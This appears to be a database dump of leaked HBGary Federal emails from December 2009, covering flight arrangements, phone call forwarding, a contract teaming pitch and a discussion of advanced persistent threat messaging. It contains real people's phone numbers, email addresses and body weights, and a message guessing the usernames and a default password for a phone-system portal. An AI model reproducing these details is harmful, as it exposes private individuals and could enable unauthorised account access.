Harbor Conference CenterAs low as USD51.20 per nightBook nowSacramento12/13-12/16Hotel Sierra Rancho CordovaAs low as USD87.97 per nightBook nowSacramento12/13-12/16Le Rivage HotelAs low as USD99.37 per nightBook nowMore hotelsReserve your car with the United discount• Save up to 20% with the United discount &amp; earn double miles• Additional savings on the weekend and rentals of 5 or more days• Plus, a&nbsp;1,000-mile online&nbsp;booking bonus&nbsp;Reserve nowEnhance your travel experienceUnited Mileage Plus®&nbsp;Visa&nbsp;Earn 30,000 miles, and 1 mile per eligible $1. Redeem with no blackouts.Apply now.Protect your travel plans with&nbsp;Travel Insurance&nbsp;offered by United with Access America.&nbsp;Learn more.Save time with EasyCheck-in Online.&nbsp;Find out more.Dining opportunities to earn miles.&nbsp;Sign up now.Reserve your car with the United discount• Save up to 20% with the United discount &amp; earn double miles• Additional savings on the weekend and rentals of 5 or more days• Plus, a&nbsp;1,000-mile online&nbsp;booking bonus&nbsp;Reserve nowThank you for booking at&nbsp;united.com&nbsp;where you\'ll always enjoy:United\'s guaranteed lowest fares&nbsp;Learn moreNo booking feesUnited Airlines Contract of Carriage.\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',3626,'aaron_hbgary_com/3626.html'),(617,'2009-12-11','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1296999956.M451626P3547Q617.eml','aaron@hbgary.com','Conversation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  1024x768\r\n \r\n\r\n \r\n  Clean\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n  EN-US\r\n  X-NONE\r\n  X-NONE\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  MicrosoftInternetExplorer4\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */ \r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-priority:99;\r\n	mso-style-qformat:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin:0in;\r\n	mso-para-margin-bottom:.0001pt;\r\n	mso-pagination:widow-orphan;\r\n	font-size:11.0pt;\r\n	font-family:\"Calibri\",\"sans-serif\";\r\n	mso-ascii-font-family:Calibri;\r\n	mso-hansi-font-family:Calibri;}\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n&nbsp;\r\n\r\nRich told me he spoke with you yesterday, I&#8217;d love to\r\nhave a quick conversation if you have some time today. \r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nMatt O\'Flynn\r\n\r\n954-559-6934\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5706,'aaron_hbgary_com/5706.html'),(618,'2009-12-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999956.M635713P3547Q618.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,','Monday flights for Aaron and Ted','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDeeAnn,\r\n\r\n&nbsp;\r\n\r\nI just got off the phone with Aaron.&nbsp; Aaron and Ted have a\r\n10am meeting in Santa Clara that they expect to last all day.&nbsp; So please book\r\nthem a flight that gets in early enough to make the meeting on time.&nbsp; They will\r\nnot be seeing you on Monday, so please &#8220;reply all&#8221; so they get an\r\nemail with the flight details.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',222,'aaron_hbgary_com/222.html'),(619,'2009-12-11','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999956.M901082P3547Q619.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Monday flights for Aaron and Ted','We booked our flights for Sunday\r\n\r\n\r\n\r\nOn Dec 11, 2009, at 11:18 AM, Bob Slapnik  wrote:\r\n\r\n> DeeAnn,\r\n>\r\n>\r\n>\r\n> I just got off the phone with Aaron.  Aaron and Ted have a 10am  \r\n> meeting in Santa Clara that they expect to last all day.  So please  \r\n> book them a flight that gets in early enough to make the meeting on  \r\n> time.  They will not be seeing you on Monday, so please “reply  \r\n> all” so they get an email with the flight details.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',9150,'aaron_hbgary_com/9150.html'),(620,'2009-12-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999957.M277451P3547Q621.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>,','RE: Monday flights for Aaron and Ted','Ted,\r\n\r\nIt is my understanding that on Monday you and Aaron will be flying from Sac to Santa Clara in the morning and flying back to Sac at the end of the day.  DeeAnn will be booking those flights (I believe via private aircraft).\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:tedvera@me.com] \r\nSent: Friday, December 11, 2009 1:22 PM\r\nTo: Bob Slapnik\r\nCc: DeeAnn Buonaccorsi; aaron@hbgary.com\r\nSubject: Re: Monday flights for Aaron and Ted\r\n\r\nYou mean flights to Santa Clara?\r\n\r\n\r\n\r\nOn Dec 11, 2009, at 11:18 AM, Bob Slapnik  wrote:\r\n\r\n> DeeAnn,\r\n>\r\n>\r\n>\r\n> I just got off the phone with Aaron.  Aaron and Ted have a 10am  \r\n> meeting in Santa Clara that they expect to last all day.  So please  \r\n> book them a flight that gets in early enough to make the meeting on  \r\n> time.  They will not be seeing you on Monday, so please “reply  \r\n> all” so they get an email with the flight details.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n\r\n',9226,'aaron_hbgary_com/9226.html'),(621,'2009-12-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999957.M505274P3547Q622.eml','\"Penny Leavy\" <penny@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','RE: Indigo Flyer','DeeAnn,\r\n\r\nPenny is saying fly back 1:30 or 2pm, but Aaron said fly back at end of day.\r\nAaron spoke with Ben so I think you should go with end of day.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nPhone 301-652-8885 x104  |  Mobile 240-481-1419\r\nbob@hbgary.com  |  www.hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy [mailto:penny@hbgary.com] \r\nSent: Friday, December 11, 2009 12:38 PM\r\nTo: DeeAnn Buonaccorsi; Bob Slapnik\r\nSubject: Indigo Flyer\r\n\r\nDeeAnn,\r\n\r\nCall Indigo Flyer in Sacramento.  Talke with Brett Volmer and book a\r\nflight for Ted, Aaron and Greg down to san Jose from Sac.  Aaron is\r\n190, Ted is 210 (pounds) and they know greg.  Fly out of Sac at 8:45\r\nam and return 1:30 or 2:00.  (return flight may change, please make\r\nsure you are available fo r calls from Bob to change this)  we have\r\ncredits on our books with Indigo flyer (under Penny and Greg, brett\r\nwill understand) we want to use these  for this trip.  See if it\'s\r\navailable  THIS IS TIME SENSITIVE\r\n\r\nBOB  GREG WANTS TO TALK\r\nTO BEN ABOUT TWO PROJECTS\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n\r\n',308,'aaron_hbgary_com/308.html'),(622,'2009-12-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999957.M715229P3547Q623.eml','\"Ted Vera\" <tedvera@mac.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Call Forwarding','You can forward calls from a web interface.\r\n\r\nGo to https://plp.nuvio.com/html/\r\nLogin is probably tvera or abarr. PW is probably 123456\r\nClick on number management (on left)\r\nUse popdown menu to select forward to cell\r\nI just realized you may not see \"forward to cell\".  You can call Nuvio at\r\n866-482-2173 for tech support.  \r\n\r\nYou can also hear your messages from this website.\r\nClick applications tab to see your list of messages\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:tedvera@mac.com] \r\nSent: Thursday, December 10, 2009 7:24 PM\r\nTo: Aaron Barr\r\nCc: Bob Slapnik\r\nSubject: Call Forwarding\r\n\r\nBob,\r\n\r\nDo you know how to forward calls from your office phone?  Just curious.  \r\n\r\nAaron,\r\n\r\nI just tried *72, but it didn\'t work.  I\'ll have to play around to figure it\r\nout.  Here are the links.\r\n\r\nTed\r\n\r\nCall Forwarding:\r\nhttps://kb.nuvio.com/article.php?id=629\r\n\r\nPhone Manual:\r\nhttp://www.polycom.com/global/pw_item_show_doc/1,1149,7480,00.pdf\r\n\r\n',10273,'aaron_hbgary_com/10273.html'),(623,'2009-12-11','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999957.M85169P3547Q620.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Monday flights for Aaron and Ted','You mean flights to Santa Clara?\r\n\r\n\r\n\r\nOn Dec 11, 2009, at 11:18 AM, Bob Slapnik  wrote:\r\n\r\n> DeeAnn,\r\n>\r\n>\r\n>\r\n> I just got off the phone with Aaron.  Aaron and Ted have a 10am  \r\n> meeting in Santa Clara that they expect to last all day.  So please  \r\n> book them a flight that gets in early enough to make the meeting on  \r\n> time.  They will not be seeing you on Monday, so please “reply  \r\n> all” so they get an email with the flight details.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',10006,'aaron_hbgary_com/10006.html'),(624,'2009-12-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999957.M916085P3547Q624.eml','\"Robert Higgins\" <Higgins.Robert@orbital.com>','In lobby','Hi Robert,\r\n\r\nHaven\'t reached you yet.  I will try again.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',12514,'aaron_hbgary_com/12514.html'),(625,'2009-12-11','intruder_pilot@yahoo.com','/aaron@hbgary.com/new/1296999958.M96375P3547Q625.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: breakfast','Obviously missed resetting the time\r\nAre you attending the IA conference at westfields next week?\r\nI will be back for that.\r\nMike\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Mike Steinmetz\r\nSent: Dec 10, 2009 19:08\r\nSubject: breakfast\r\n\r\nAre we still on for breakfast?  If so where?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nSent via BlackBerry from T-Mobile\r\n\r\n',8736,'aaron_hbgary_com/8736.html'),(626,'2009-12-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999970.M641299P3547Q626.eml','james.mitcham@unisys.com,james.mitcham@unisys.com,','CDC CIMS Teaming','Hello Mr. Mitcham,\r\nMy name is Ted Vera.  I was referred to you by Carl Tegeder regarding possible teaming on the CIMS proposal.\r\n\r\nHBGary Federal is excited about the opportunity to discuss teaming with Unisys on the upcoming CDC CIMS contract. HBGary&#39;s product line of malware detection and analysis tools along with our experienced malware analysts and reverse engineering experts will provide the Unisys team unique cyber security, threat analysis and incident response discriminators.  After reviewing the RFP and sample task orders, we believe we can provide significant value-add and competitive discriminators in support of the following sections:\r\nRFP C.3 IT Infrastructure:\r\na. design, installation, management, and support of information security systems including intrusion detection, penetration testing, firewall engineering, systems certification and accreditation\r\nRFP L.9 Technical Proposal Instructions:\r\n3.  Security Plan \r\na) Security controls used (both hardware and software), e.g., virus prevention, least privileged access, authentication, encryption, intrusion detection, and incident response. \r\n\r\nAttachment J.5.cIT Infrastructure Domain - Full &amp; Open Sample Task\r\n3.0 OBJECTIVE The objective is to provide an integrated and comprehensive task order for responsive, efficient, and cost-effective information technology infrastructure support services, which incorporates all appropriate technical and security requirements and considerations. The Contractor is expected to comply with all CDC security requirements.\r\n\r\nHBGary Core Expertise:\r\nAdvanced malware detectionFirst response triage of servers and workstations\r\nEnterprise scope of breach analysisRoot cause analysis\r\nMalware analysis, and reverse engineeringEnterprise containment, mitigation and remediation\r\n\r\nTraditional antivirus software fails to detect new malware (0-day exploits), malware variants, polymorphic code, injected code, and rootkits.  HBGary Responder and Digital DNA is the most effective tool available to detect these types of attacks through our proprietary software classification system consisting of over 3500 malware behaviors and traits.  Our Enterprise tools not only detect the threat, but provide automated binary reverse engineering.  This allows HBGary analysts to rapidly determine the true behavior of the malware, allowing them to help answer questions about what happened, was any data exfiltrated, how did it happen, who was behind the attack, and how to bolster network defenses, including development of custom IDS signatures that will prevent further infection.\r\nWe look forward to discussing our capabilities with you and becoming part of the Unisys CIMS team.  Attached is a capabilities briefing that provides additional details about our products and services as well as datasheets on our Responder and Digital DNA products.\r\n\r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federalwww.hbgary.comOffice:  916-459-4727 ext 118Mobile:  719-237-8623\r\n\r\n\r\n',1955,'aaron_hbgary_com/1955.html'),(627,'2009-12-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999974.M297770P3547Q628.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','UI and web developer','Hey there,\r\n\r\nDo we have or do we need a good UI developer?  It\'s the guy I\r\nmentioned to you that also does web information design and development.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',1584,'aaron_hbgary_com/1584.html'),(628,'2009-12-12','\"Winterfeld, Steven P (IS)\" <steven.winterfeld@ngc.com>','/aaron@hbgary.com/new/1296999974.M869080P3547Q629.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Companies','Thanks, you da man\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, December 12, 2009 6:42 AM\r\nTo: Winterfeld, Steven P (IS)\r\nSubject: Companies\r\n\r\nList coming today\r\n\r\n From my iPhone\r\n',16707,'aaron_hbgary_com/16707.html'),(629,'2009-12-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999974.M92717P3547Q627.eml','\"Steven P Winterfeld\" <steven.winterfeld@ngc.com>','Companies','List coming today\r\n\r\n From my iPhone\r\n',14443,'aaron_hbgary_com/14443.html'),(630,'2009-12-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999975.M102545P3547Q630.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,greg@hbgary.com,\"Rich Cummings\" <rich@hbgary.com>','RE: Mandiant does a good job describing their strategy against Advanced Persistent Threats','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAt DuPont we met with their CISO and CTO.&nbsp; I added a first\r\nslide with heading &#8220;The Bad Guys Want&#8230;..&#8221; with three bullets\r\nof &#8220;Intellectual Property, Strategic Advantage, Financial Gain&#8221;.&nbsp;\r\nTo my surprise the group spent 20-30 minutes on this first slide.&nbsp; They believe\r\ntheir bad guys are the Chinese who want to catch up and leapfrog them in the\r\nglobal marketplace, so they focused the conversation on IP and strategic\r\nadvantage, but with those two they realized it would secondarily give the bad\r\nguys financial gain.\r\n\r\n&nbsp;\r\n\r\nTo DuPont it is personal.&nbsp; It isn&#8217;t about malware.&nbsp;\r\nTo them it is a battle against people, organizations and countries that strive\r\nto do them harm.\r\n\r\n&nbsp;\r\n\r\nThe conversation about IP, strategic advantage and financial gain\r\napplies to both business and gov&#8217;t.&nbsp; It is said that financial\r\nissues are at the root of all wars.\r\n\r\n&nbsp;\r\n\r\nGreg and I met with Shane Shook, a deep thinker at PwC.&nbsp; We\r\ncame to a tagline of &#8220;Threat Identification and Response&#8221;.\r\n\r\n&nbsp;\r\n\r\nIt is becoming apparent to all of us at HBGary that we must revamp\r\nour website (and create a website for HBGary Federal).&nbsp; The website must\r\nhave a clear top story messaging where the user can easily drop down into the\r\nsub-stories they care about.&nbsp; Currently, the website is a bit haphazard.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Sunday, December 06, 2009 2:34 PM\r\nTo: Bob Slapnik\r\nCc: all@hbgary.com\r\nSubject: Re: Mandiant does a good job describing their strategy against\r\nAdvanced Persistent Threats\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSome key things that I see missing in their strategy.\r\n&nbsp;The APT is not just threats against theft of data, the APT is now a weaponized\r\nelement of a few countries military arsenals likely used for theft of IP, but\r\nalso to degrade adversaries capabilities, this includes information\r\nmanipulation, degradation of resources, etc. &nbsp;This is now cyber warfare\r\nand needs to be thought of in its totality.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe government knows that ridding your network of the APT is\r\nnot likely so talking about it in that context will seem like you don\'t get it.\r\n&nbsp;Another key term the government uses is fight through capability.\r\n&nbsp;No matter what happens to our cyber resources, the mission must not be\r\nimpeded, or not impeded much. &nbsp;So leveraging best in class cybersecurity\r\nproducts that can detect and mitigate advanced zero day attacks, by embedding\r\nworld class analysts, incident responders, and mission specialists to ensure\r\nthat under the most advanced threats the mission will be completed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe government is much more savvy then they used to be, they\r\nknow technology is not going to solve their problems. &nbsp;Fighting the APT\r\nhas to be an integrated strategy, so how do we work with the other elements\r\nimprove situational awareness, near realtime incident response to identified\r\nthreats, and architecture/mission resiliency. &nbsp;We need to have folks that\r\nknow and can fuse information with intelligence components, operational\r\ncomponents, mission planners, etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo when I read through Mandiants write up, what I see is a\r\ngroup of focus that see this as a pure cyber play. &nbsp;Most big customers\r\nwill see this as a very narrow view of the solutions needed to combat the APT.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn short, when we stand up the HBGary Federal website, I\r\nbelieve our approach to mitigating the APT should resonate better with\r\ncustomers.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThoughts?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 6, 2009, at 12:29 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.mandiant.com/apt.htm\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOur website needs work.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16180,'aaron_hbgary_com/16180.html'),(631,'2009-12-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999975.M301975P3547Q631.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Mandiant does a good job describing their strategy against Advanced Persistent Threats','Thats good information, makes sense, commercial is just not a side I primarily think about. &nbsp;To them its all about shareholder value, the bottom line. &nbsp;And if cyberwarfare, espionage, can give them a competitive advantage then thats bad for shareholders. &nbsp;So makes sense their worry is theft of IP, which gives competition advantage, which increase competitions financial gain.Its all about the language of the customer and knowing what resonates. &nbsp;Actually I think Strategic Advantage is the superset of it all, both government and private. &nbsp;Theft of IP is a mechanism that gives you advantage, whether strategic or tactical which could provide financial or military gain. &nbsp;But theft of IP is not the only thing that gives you strategic or tactical advantage. &nbsp;Negative advertising (influence), degradation of services, etc. also can give you advantage and all need to be considered, because the adversaries are.The government does not often talk or think in terms of financial gain, other than they recognize its a motivator. &nbsp;There are 3 things that worry the national government, loss of IP, financial manipulation of the markets, and loss of power/manipulation of SCADA. &nbsp;DoD is only concerned about being able to complete their mission, so whatever effects that, could be theft of IP, or loss of power, but DoD does not talk in terms of financials, they talk in terms of mission and who controls the \"waterways\" so to speak. &nbsp;Advantage is not just strategic either cyberwarfare can satisfy both tactical and strategic advantage.I like the tag line. &nbsp;I am not a huge fan of the word response, but maybe thats the best word to use, maybe a clarifier before it like proactive?So what do we do about the website? Datasheets? &nbsp;Etc. &nbsp;Do we have someone that can do it? &nbsp;If we do great, if we don\'t I would like to suggest we hire a guy names Aaron Spring, he does a lot of UI and Web design and development work, also online marketing and advertising. &nbsp;Might at least be worth a talk with him if we have room to bring him on to do this type of work. &nbsp;Eventually Ted and I would like to use him on the type of work we used to do, but have to get back into those contracts first.AaronOn Dec 12, 2009, at 1:28 PM, Bob Slapnik wrote:Aaron,&nbsp;At DuPont we met with their CISO and CTO.&nbsp; I added a first slide with heading “The Bad Guys Want…..” with three bullets of “Intellectual Property, Strategic Advantage, Financial Gain”.&nbsp; To my surprise the group spent 20-30 minutes on this first slide.&nbsp; They believe their bad guys are the Chinese who want to catch up and leapfrog them in the global marketplace, so they focused the conversation on IP and strategic advantage, but with those two they realized it would secondarily give the bad guys financial gain.&nbsp;To DuPont it is personal.&nbsp; It isn’t about malware.&nbsp; To them it is a battle against people, organizations and countries that strive to do them harm.&nbsp;The conversation about IP, strategic advantage and financial gain applies to both business and gov’t.&nbsp; It is said that financial issues are at the root of all wars.&nbsp;Greg and I met with Shane Shook, a deep thinker at PwC.&nbsp; We came to a tagline of “Threat Identification and Response”.&nbsp;It is becoming apparent to all of us at HBGary that we must revamp our website (and create a website for HBGary Federal).&nbsp; The website must have a clear top story messaging where the user can easily drop down into the sub-stories they care about.&nbsp; Currently, the website is a bit haphazard.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Sunday, December 06, 2009 2:34 PMTo:&nbsp;Bob SlapnikCc:&nbsp;all@hbgary.comSubject:&nbsp;Re: Mandiant does a good job describing their strategy against Advanced Persistent Threats&nbsp;Some key things that I see missing in their strategy. &nbsp;The APT is not just threats against theft of data, the APT is now a weaponized element of a few countries military arsenals likely used for theft of IP, but also to degrade adversaries capabilities, this includes information manipulation, degradation of resources, etc. &nbsp;This is now cyber warfare and needs to be thought of in its totality.&nbsp;The government knows that ridding your network of the APT is not likely so talking about it in that context will seem like you don\'t get it. &nbsp;Another key term the government uses is fight through capability. &nbsp;No matter what happens to our cyber resources, the mission must not be impeded, or not impeded much. &nbsp;So leveraging best in class cybersecurity products that can detect and mitigate advanced zero day attacks, by embedding world class analysts, incident responders, and mission specialists to ensure that under the most advanced threats the mission will be completed.&nbsp;The government is much more savvy then they used to be, they know technology is not going to solve their problems. &nbsp;Fighting the APT has to be an integrated strategy, so how do we work with the other elements improve situational awareness, near realtime incident response to identified threats, and architecture/mission resiliency. &nbsp;We need to have folks that know and can fuse information with intelligence components, operational components, mission planners, etc.&nbsp;So when I read through Mandiants write up, what I see is a group of focus that see this as a pure cyber play. &nbsp;Most big customers will see this as a very narrow view of the solutions needed to combat the APT.&nbsp;In short, when we stand up the HBGary Federal website, I believe our approach to mitigating the APT should resonate better with customers.&nbsp;Thoughts?&nbsp;Aaron&nbsp;&nbsp;On Dec 6, 2009, at 12:29 PM, Bob Slapnik wrote:All,&nbsp;http://www.mandiant.com/apt.htm&nbsp;Our website needs work.&nbsp;Bob&nbsp;&nbsp;',15477,'aaron_hbgary_com/15477.html'),(632,'2009-12-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999975.M512808P3547Q632.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Mandiant does a good job describing their strategy against Advanced Persistent Threats','I am going to work a lot on Messaging over the Xmas break (going to be in Illinois farm country), so hopefully have some good meat to toss around after the holidays.AaronOn Dec 12, 2009, at 1:28 PM, Bob Slapnik wrote:Aaron,&nbsp;At DuPont we met with their CISO and CTO.&nbsp; I added a first slide with heading “The Bad Guys Want…..” with three bullets of “Intellectual Property, Strategic Advantage, Financial Gain”.&nbsp; To my surprise the group spent 20-30 minutes on this first slide.&nbsp; They believe their bad guys are the Chinese who want to catch up and leapfrog them in the global marketplace, so they focused the conversation on IP and strategic advantage, but with those two they realized it would secondarily give the bad guys financial gain.&nbsp;To DuPont it is personal.&nbsp; It isn’t about malware.&nbsp; To them it is a battle against people, organizations and countries that strive to do them harm.&nbsp;The conversation about IP, strategic advantage and financial gain applies to both business and gov’t.&nbsp; It is said that financial issues are at the root of all wars.&nbsp;Greg and I met with Shane Shook, a deep thinker at PwC.&nbsp; We came to a tagline of “Threat Identification and Response”.&nbsp;It is becoming apparent to all of us at HBGary that we must revamp our website (and create a website for HBGary Federal).&nbsp; The website must have a clear top story messaging where the user can easily drop down into the sub-stories they care about.&nbsp; Currently, the website is a bit haphazard.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Sunday, December 06, 2009 2:34 PMTo:&nbsp;Bob SlapnikCc:&nbsp;all@hbgary.comSubject:&nbsp;Re: Mandiant does a good job describing their strategy against Advanced Persistent Threats&nbsp;Some key things that I see missing in their strategy. &nbsp;The APT is not just threats against theft of data, the APT is now a weaponized element of a few countries military arsenals likely used for theft of IP, but also to degrade adversaries capabilities, this includes information manipulation, degradation of resources, etc. &nbsp;This is now cyber warfare and needs to be thought of in its totality.&nbsp;The government knows that ridding your network of the APT is not likely so talking about it in that context will seem like you don\'t get it. &nbsp;Another key term the government uses is fight through capability. &nbsp;No matter what happens to our cyber resources, the mission must not be impeded, or not impeded much. &nbsp;So leveraging best in class cybersecurity products that can detect and mitigate advanced zero day attacks, by embedding world class analysts, incident responders, and mission specialists to ensure that under the most advanced threats the mission will be completed.&nbsp;The government is much more savvy then they used to be, they know technology is not going to solve their problems. &nbsp;Fighting the APT has to be an integrated strategy, so how do we work with the other elements improve situational awareness, near realtime incident response to identified threats, and architecture/mission resiliency. &nbsp;We need to have folks that know and can fuse information with intelligence components, operational components, mission planners, etc.&nbsp;So when I read through Mandiants write up, what I see is a group of focus that see this as a pure cyber play. &nbsp;Most big customers will see this as a very narrow view of the solutions needed to combat the APT.&nbsp;In short, when we stand up the HBGary Federal website, I believe our approach to mitigating the APT should resonate better with customers.&nbsp;Thoughts?&nbsp;Aaron&nbsp;&nbsp;On Dec 6, 2009, at 12:29 PM, Bob Slapnik wrote:All,&nbsp;http://www.mandiant.com/apt.htm&nbsp;Our website needs work.&nbsp;Bob&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3746,'aaron_hbgary_com/3746.html'),(633,'2009-12-12','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999975.M710737P3547Q633.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: UI and web developer','We just hired a UI developer Kam for HBGary.  We could use some part\r\ntime help and I know Greg prefers to have people working on theproduct\r\nin Sacramento.  